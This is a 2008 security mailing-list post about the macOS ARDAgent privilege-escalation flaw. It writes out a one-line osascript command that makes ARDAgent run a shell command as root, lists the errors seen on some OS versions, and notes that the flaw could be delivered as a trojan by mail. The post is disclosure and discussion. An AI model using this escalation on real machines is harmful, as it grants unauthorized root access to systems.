0x90.org

[XSO] Archives? Re : ARDAgent scripting escalation flaw

Poindexter Frink sliderule at gmail.com
Fri Jun 20 08:41:57 EDT 2008

Are there archives here?

I joined this list today to see if there was chatter re: subject.

% osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
root

Needs to be run by a user logged in to the windowing system.  If wrong
user, message:

_RegisterApplication(), FAILED TO establish the default connection to
the WindowServer, _CGSDefaultConnection() is NULL.

Then after a timeout delay it returns with an error:

execution error: ARDAgent got an error: Connection is invalid. (-609)

Trojan vector via .app file + mail.

Some machines report of errors:

23:47: execution error: ARDAgent got an error: "whoami" doesn't
understand the do shell script message. (-1708)

Errors occured on a MacBook Pro running 10.5.3, an iBook running
10.4.11 and a g5 PPC OS X Server running 10.4.11 (Server build)

Easily fixable.

More information about the XSO mailing list